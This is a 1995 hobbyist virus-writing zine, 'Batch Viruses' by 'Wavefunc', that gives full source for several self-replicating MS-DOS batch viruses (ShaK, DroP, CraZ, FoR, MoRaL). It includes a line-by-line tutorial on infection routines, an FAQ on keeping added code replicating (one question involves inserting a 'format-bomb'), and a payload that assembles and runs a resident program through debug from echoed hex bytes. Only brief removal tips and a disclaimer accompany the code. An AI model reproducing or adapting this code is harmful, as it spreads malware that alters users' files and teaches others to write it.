Batch Viruses
by
"Wavefunc"
Third Issue - October 19, 1995

    Disclaimer:

    Anything you do with this stuff is your responsibility. If anything
    happens, you did it. If you choose to test any of these programs, take
    steps to ensure the sample you are testing doesn't 'escape'. Although
    these programs are designed to be harmless, unforseen bugs (or features)
    may cause data loss!

    Removal:

    These batch viruses work by adding code to the beginning and/or the end
    of the infected BAT files. The extra code can be removed by loading the
    infected batch into EDIT and deleting the additional lines. Some will
    create a hidden copy of themselves in the root (or other directory),
    use ATTRIB filename -s -r -h followed by DEL filename, filename being
    the actual name of the virus file. The command DIR /AH /S will show all
    hidden files on a drive.

    Note: these replicating programs require MSDOS 6 to function correctly!

    ...

    Shall we create a new batch virus? OK...

    @goto the_virus
    :host_program
    :: host would go here

    :: --- ShaK -----------
    :: The ShaK Batch Virus
    :: --- ShaK -----------
    @if not '%_ShaK%==' goto ShaK_end
    :the_virus ShaK
    @if not '%_ShaK%==' goto host_program ShaK
    @if '%0==' echo ShaK I'm Trapped - oh no
    @if '%0==' goto host_program ShaK
    @echo off>nul.ShaK
    if '%1=='ShaK goto ShaK_%2
    set ShaK=%1 %2 %3 %4 %5 %6 %7 %8 %9
    call %0 ShaK rh
    set _ShaK=
    set ShaK=
    %comspec% /e:5000 /c %0 ShaK vir . .. %path%
    goto ShaK_end
    :ShaK_rh
    set _ShaK=uh
    %0 %ShaK%
    :ShaK_vir
    set ShaK=%0
    if exist c:\!shak goto ShaK_ser
    if exist %0.bat set ShaK=%0.bat
    if not exist %ShaK% exit
    find "ShaK"<%ShaK%>c:\!ShaK
    attrib c:\!ShaK +h
    :ShaK_ser
    shift%_ShaK%
    if '%2==' exit ShaK
    for %%a in (%2\*.bat) do call %ShaK% ShaK inf %%a
    goto ShaK_ser
    :ShaK_inf
    find "ShaK"<%3>nul
    if not errorlevel 1 goto ShaK_cnt
    echo @goto the_virus>c:\ShaK!
    echo :host_program>>c:\ShaK!
    type %3>>c:\ShaK!
    echo.>>c:\ShaK!
    type c:\!ShaK>>c:\ShaK!
    move c:\ShaK! %3>nul
    exit ShaK
    :ShaK_cnt
    set ShaKcnt=%ShaKcnt%1
    if %ShaKcnt%==1111111111111111 exit
    if not %ShaKcnt%==111 goto ShaK_end
    echo.|date|find "30">nul.ShaK
    if errorlevel 1 goto ShaK_end
    echo *** ShaK.Bat.Virus Installed ***
    echo Keep me around for your friends!%_ShaK%
    :ShaK_end

    Features of ShaK...

    Infects batch files in the current, parent and path directories. Won't run
    off of autoexec.bat but will display a message before booting. The first
    thing the virus does is run the host batch to completion, then it spawns
    a new shell to run the virus in. To allow it to run from the path, it makes
    a hidden copy of itself in the root of drive C:, the infected batch must
    be ran at least once from its own directory (so the virus can see itself)
    for it to take hold. Gives up after 16 seeks to infected files. If at least
    3 files are infected and the date contains "30", a message will be shown to
    indicate its presence and beg for mercy.

    Time for some Batch Lessons. Since few ask questions, I'll make them up.

    *** Q. I got one of your viruses and put my own format-bomb in it but
    the extra code won't replicate. Why?
    *** A. Stupidity rules! All lines added into a batch virus MUST contain the
    key signature string specified in the find commands on EVERY line! There are
    a number of ways to do this:

    echo :host_program>>c:\ShaK!           Use key in filename
    if not %ShaKcnt%==111 goto ShaK_end    Use key in variable or label name
    @echo off>nul.ShaK                     Use key as extension of 'nul'
    shift%_ShaK%                           Use key in an undefined variable
    exit ShaK                              Anything can be after 'exit'
    @if '%0==' goto host_program ShaK out  Anything can be after 'goto label'

    If you want to add debug code, rename the script file name so it matches
    the key string as in echo 01 02 03 bla bla>>ShaK.t - anything to ensure
    the key (ShaK in this case) appears in each and every line.

    *** Q. What kinds of batch viruses are possible?
    *** A. A few types. There seems to be six types as far as I can tell.

    1. Real batch viruses that use DOS commands to infect batch files while
       preserving the functionality of the infected batch. Like mine.

    2. Companion batch files that rename other BAT, COM or EXE files then
       substitutes batches with the program's base names. The program itself
       is not altered.

    3. Hybrid batches that only insert calls to itself into infected batches
       without attaching the actual virus code which is kept or replicates
       seperately.

    4. Overwriters that destroy the program, COM, EXE or BAT, that it infects.

    5. Binary code echoed into a COM file then exececuted.

    6. Hex code echoed to a temp file then assembled using debug.

    *** Q. How much skill does it take to write a batch virus?
    *** A. Not much. Type HELP then study FIND, FOR, IF and the parts
    about redirection and environment variables. Look up ANSI also.

    *** Q. Do batch viruses exist in the wild?
    *** A. I don't know. Probably not. They are curiosities created only for
    the sake of being a replicating pattern existing on its own.

    *** Q. I have a batch virus! What do I do to remove it?
    *** A. If it is an advanced type that echoes binary code you may not see
    the virus code unless you boot clean to remove it from memory. Next, either
    use a search program, AV program or anything that can locate files that
    contain specific strings and specify a signature for the beast. For every
    batch file found to contain the string(s) load the file into EDIT and remove
    the added code. Some batch viruses place themselves in front of the host,
    some append the virus code and the more advanced type 1 batch viruses add
    lines to the beginning to branch to the appended code. Just remove it.
    Save a copy for me.

    *** Q. They don't work with DOS 5. Why?
    *** A. The FIND command in versions below 6 do not return an errorlevel,
    effectively crippling the virus. It would take some temp files and
    time-consuming filtering to make one work with DOS 5. It's possible.

    *** Q. I made some changes to one, but the changes disappear!
    *** A. Delete the hidden file that the virus uses.

    Batch Guide
    -----------

    @ - when placed in position 1 in front of internal command, @ prevents the
    command from being echoed to the console, even if echo is on.

    >    - sends output to a file
    >>   - appends output to the end of a file
    >nul - sends output into nothingness
    |program... - sends output to another program

    :: - comment - not executed

    if exist c:\filename goto ViR_present  - branches if file is there
    if not exist filename goto ViR_end     - branches if not there
    if '%1=='Hey! goto ViR_do              - branches if 1st parm = Hey!

    set something=This
    echo %something%                       - variables, prints 'This' to screen

    for %%a in (*.bat) do call %ViR% InF %%a - scan for batches and for
    each one found call program in 'vir' variable with InF and the name of
    the batch to check (%%a). If close to the beginning you have the line
    if '%1=='InF goto ViR_inf" then each time the call will branch to the
    label ViR_inf with the filename in %2.

    For example:

    ::Cheezy Batch ViR
    @echo off>nul.ViR                      - turns off echoing
    if '%1=='InF goto ViR_inf              - branch line for calling infection
    if exist c:\vir.bat goto ViR_run       - branch if root file present
    if not exist %0.bat goto ViR_end       - branch if host cannot be seen
    find "ViR"<%0.bat>c:\vir.bat           - strip code from host, stash in root
    :ViR_run                                   - the heart of the matter...
    for %%a in (*.bat) do call c:\ViR InF %%a  - loop thru all bats in current
    goto ViR_end                               - and exit virus
    :ViR_inf                               - the infection routine...
    find "ViR"<%2>nul                      - check if virus present in target
    if not errorlevel 1 goto ViR_end       - branch if there, get next filename
    type c:\ViR.bat>>%2                    - append virus to the file
    :ViR_end                               - done.

    Remove the comments before running this cheezy virus.

    And now from the stolen-code department...

    @echo off%_DroP%
    if '%1=='DroP goto DroP_%2
    mem /c|find /i "DroP">nul
    if not errorlevel 1 goto DroP_r9
    echo n $DroP$.com>DroP.t
    echo e 0100  EB 3F 90>>DroP.t
    echo e 012A  1A 90 00 00 00 00>>DroP.t
    echo e 0130  00 00 00 00 00 00 00 00 00 B8 40 00 FF 00 00 00>>DroP.t
    echo e 0140  00 B0 08 BA 2C 01 E8 3F 01 B0 08 BA 86 01 E8 50>>DroP.t
    echo e 0150  01 B4 2C CD 21 89 16 BE 02 C6 06 3E 01 FF B4 0F>>DroP.t
    echo e 0160  CD 10 3C 06 74 0D 3C 07 74 09 C7 06 38 01 00 B8>>DroP.t
    echo e 0170  EB 07 90 C7 06 38 01 00 B0 BA C0 02 B1 04 D3 EA>>DroP.t
    echo e 0180  42 B4 31 CD 21 90 9C 50 B4 02 CD 16 24 40 74 1B>>DroP.t
    echo e 0190  2E 80 3E 3E 01 00 74 08 2E FE 0E 3E 01 EB 0C 90>>DroP.t
    echo e 01A0  2E 80 3E 3D 01 00 75 03 EB 08 90 58 9D 2E FF 2E>>DroP.t
    echo e 01B0  2C 01 9C 2E FF 1E 2C 01 06 1E 52 51 57 56 0E 1F>>DroP.t
    echo e 01C0  A1 38 01 8E C0 2E 80 3E 3F 01 00 74 0C 8B 3E 30>>DroP.t
    echo e 01D0  01 8B 36 32 01 FB EB 5A 90 C6 06 3D 01 FF FB C6>>DroP.t
    echo e 01E0  06 40 01 64 80 3E 40 01 00 75 03 E9 8B 00 FE 0E>>DroP.t
    echo e 01F0  40 01 E8 B7 00 25 FE 0F 8B F0 26 8A 04 3C 20 74>>DroP.t
    echo e 0200  E3 3C 00 74 DF 81 FE A0 0F 73 D9 8B FE 81 C7 A0>>DroP.t
    echo e 0210  00 81 FF A0 0F 73 44 26 8A 05 3C 20 74 04 3C 00>>DroP.t
    echo e 0220  75 C2 89 3E 30 01 89 36 32 01 C6 06 3F 01 FF EB>>DroP.t
    echo e 0230  48 90 C6 06 3F 01 00 26 8A 04 26 88 05 26 C6 04>>DroP.t
    echo e 0240  20 8B F7 81 C7 A0 00 81 FF A0 0F 73 0E 26 8A 05>>DroP.t
    echo e 0250  3C 20 74 CE 3C 00 74 CA EB 05 90 26 C6 04 20 FF>>DroP.t
    echo e 0260  0E 3A 01 75 0A D0 2E 3C 01 C7 06 3A 01 40 00 E8>>DroP.t
    echo e 0270  3A 00 22 06 3C 01 A2 3E 01 5E 5F 59 5A 1F 07 58>>DroP.t
    echo e 0280  9D 2E C6 06 3D 01 00 CF 50 06 53 55 52 B4 35 CD>>DroP.t
    echo e 0290  21 8B D3 5D 89 56 00 45 45 8C 46 00 5D 5B 07 58>>DroP.t
    echo e 02A0  C3 50 1E 0E 1F B4 25 CD 21 1F 58 C3 A1 BE 02 50>>DroP.t
    echo e 02B0  80 E4 B4 58 7A 01 F9 D1 D0 A3 BE 02 C3 90 00 00>>DroP.t
    echo rcx>>DroP.t
    echo 1C0>>DroP.t
    echo w>>DroP.t
    echo q>>DroP.t
    debug<DroP.t>nul
    del DroP.t
    $DroP$
    del $DroP$.com
    :DroP_r9
    if exist c:\_DroP.bat goto DroP_go
    echo DroP|find "X">nul
    if not errorlevel 1 goto DroP_end
    if exist %0.bat goto DroP_d1
    if not exist %0 goto DroP_end
    find "DroP"<%0>c:\_DroP.bat
    goto DroP_d2
    :DroP_d1
    find "DroP"<%0.bat>c:\_DroP.bat
    :DroP_d2
    attrib c:\_DroP.bat +h
    :DroP_go
    command /c c:\_DroP DroP sh
    goto DroP_end
    :DroP_sh
    for %%a in (*.bat ..\*.bat) do call c:\_DroP DroP in %%a
    exit DroP
    :DroP_in
    find "DroP"<%3>nul
    if not errorlevel 1 goto DroP_end
    type c:\_DroP.bat>DroP.t
    type %3>>DroP.t
    move DroP.t %3>nul
    exit DroP
    :DroP_end
    :: host batch here

    When run, it installs a joke program resident in memory if not already
    present. The virus code is inserted before the host batch. Infects one
    file per run (or loop of the host) in the current and parent directory.
    The payload isn't my code but the Guru said 'keep it'. When it's
    resident, letters drop whenever Caps Lock is turned on.

    ...

    This is a slightly modified one I wrote a few months back...

    @goto craz
    :hst_bat
    :: host batch goes here

    @goto CraZend
    :CraZ (version E)
    @echo off%_CraZ%
    if '%1=='#ViR goto CraZ%2
    if not '%CraZ%==' goto hst_bat
    if '%0==' goto hst_bat CraZ
    set CraZ=%0
    set CraZc=%1 %2 %3 %4 %5 %6 %7 %8 %9
    call %0 #ViR hst CraZ
    set CraZs=
    set CraZi=
    set CraZc=%CraZ%
    if exist %CraZ%.bat set CraZc=%CraZ%.bat
    command /e:5000 /c %CraZ% #ViR vir %path%
    set CraZ=
    set CraZc=
    goto CraZend
    :CraZhst
    %0 #ViR hs1 %0 %CraZc%
    :CraZhs1
    shift %_CraZ%
    shift %_CraZ%
    shift %_CraZ%
    goto hst_bat CraZ
    :CraZvir
    if exist %CraZc% %CraZ% #ViR ser .. . %path%
    shift %_CraZ%
    if '%2==' exit CraZ
    set CraZc=%2\%CraZ%.bat
    if not exist %CraZc% set CraZc=%2\%CraZ%
    if not exist %CraZc% set CraZc=%2%CraZ%.bat
    if not exist %CraZc% set CraZc=%2%CraZ%
    goto CraZvir
    :CraZser
    shift %_CraZ%
    if '%2==' exit CraZ
    for %%i in (%2\*a.bat %2*a.bat) do call %CraZ% #ViR inf %%i
    goto CraZser
    :CraZact
    echo [CraZ] has determined this computer to be good food.
    exit CraZ
    :CraZinf
    find "CraZ"<%3>nul
    if not errorlevel 1 goto CraZS
    echo @goto craz>CraZ
    echo :hst_bat>>CraZ
    type %3>>CraZ
    echo.>>CraZ
    find "CraZ"<%CraZc%>>CraZ
    move CraZ %3>nul
    set CraZi=%CraZi%1
    if %CraZi%==11 exit
    :CraZS
    set CraZs=%CraZs%1
    if %CraZs%==1111111111 goto CraZact
    :CraZend

    This batch virus does not keep a hidden file, it locates the host even
    if it's in a path directory and runs directly from it. When an infected
    file is run the host batch runs first to completion then the virus regains
    control and attempts to infect two batch files. If 10 infected files are
    encountered before infecting two files, the virus stops trying and
    announces its presence to the user. This virus starts with the parent
    directory, then current, then path directories. It gets around.

    ...

    This is a small one, it only infects the current directory, but it
    goes for all uninfected batch files at once...

    @echo off>nul.FoR
    if '%1=='InF goto FoRi
    if exist c:\!for.bat goto FoRs
    if not exist %0.bat goto FoRe
    find "FoR"<%0.bat>c:\!for.bat
    :FoRs
    FoR %%a in (*.bat) do call c:\!for InF %%a
    goto FoRe
    :FoRi
    find "FoR"<%2>nul
    if not errorlevel 1 goto FoRe
    type c:\!for.bat>FoR.t
    type %2>>FoR.t
    move FoR.t %2>nul
    :FoRe
    :: host follows...

    ...

    This is a strange one. I was thinking about something...

    @echo off%_MoRaL%
    if '%1=='ViR goto MoRaL%2
    if '%!%=='111 goto MoRaLend
    if exist C:\MoRaL.bat goto MoRaLrun
    if not exist %0.bat goto MoRaLend
    echo MoRaL|find "x">nul
    if not errorlevel 1 goto MoRaLend
    find "MoRaL"<%0.bat>C:\MoRaL.bat
    attrib C:\MoRaL.bat +h
    :MoRaLrun
    command /e:5000 /c C:\MoRaL ViR shl
    set !=%!%1%_MoRaL%
    goto MoRaLend
    :MoRaLshl
    C:\MoRaL ViR srh . .. %path%
    :MoRaLsrh
    shift%_MoRaL%
    if '%2==' exit MoRaL
    for %%a in (%2\*.bat) do call C:\MoRaL ViR inf %%a
    goto MoRaLsrh
    :MoRaLinf
    find "MoRaL"<%3>nul
    if not errorlevel 1 goto MoRaLcnt
    type C:\MoRaL.bat>MoRaL.t
    type %3>>MoRaL.t
    move MoRaL.t %3>nul
    set MoRaLi=%MoRaLi%1
    if %MoRaLi%==11 exit
    :MoRaLcnt
    set MoRaLc=%MoRaLc%1
    if not %MoRaLc%==111111111111 goto MoRaLend
    echo.|date|find "Sun">nul.MoRaL
    if errorlevel 1 exit MoRaL
    set MoRaL=echo
    %MoRaL% -----------------
    %MoRaL% Moral Batch Virus
    %MoRaL% -----------------
    exit MoRaL
    :MoRaLend
    :: this would be the host

    Some interesting properties: it only will run three times per DOS
    session or bootup then it turns itself off. Each time it runs it
    tries to infect two batch files, but only if it can do it in less
    than twelve seeks. Goes for the current directory first then checks
    the parent and path. After encountering twelve infected files it
    checks the date and if it's Sunday prints a message. Infected files
    will have the virus placed before the host batch. A hidden copy of
    the virus is placed in the file 'C:\MORAL.BAT'. To be effective an
    infected batch must run at least once with it in the current
    directory (and without specifying the 'BAT' extension). Before
    installing it makes sure find works properly (Dos 6 rules!).

    ...

    One thing I'll mention - when cutting these programs out, or otherwise
    transfering them make sure no extra spaces are padded to the ends of
    each line - extra spaces will usually render these programs nonworking
    or severely impared. Or even go nuts and infect every batch at once!
    In most editors you can place the cursor at the apparent end of the line
    then press Shift-End - any spaces will be highlighted. A few batches
    might actually use a specific number of spaces at the end of a line but
    this is rare. None of these do. However... Anything after a :LaBeL or
    a goto LaBeL is open game - ' :LaBeL this is what I think ' is valid.
    It is mainly the set commands that must not have extra spaces.

    I modified ShaK and CraZ slightly from the original versions to include
    the line  echo.>>CraZ  (and the equivalent in ShaK) in the infection code.
    This has the effect of adding a blank line between the host batch and the
    virus code. Just in case the host does not have a CR at the end of the
    last line, which in the original versions would cause malfunction.

    That's it. Treat my bugs well.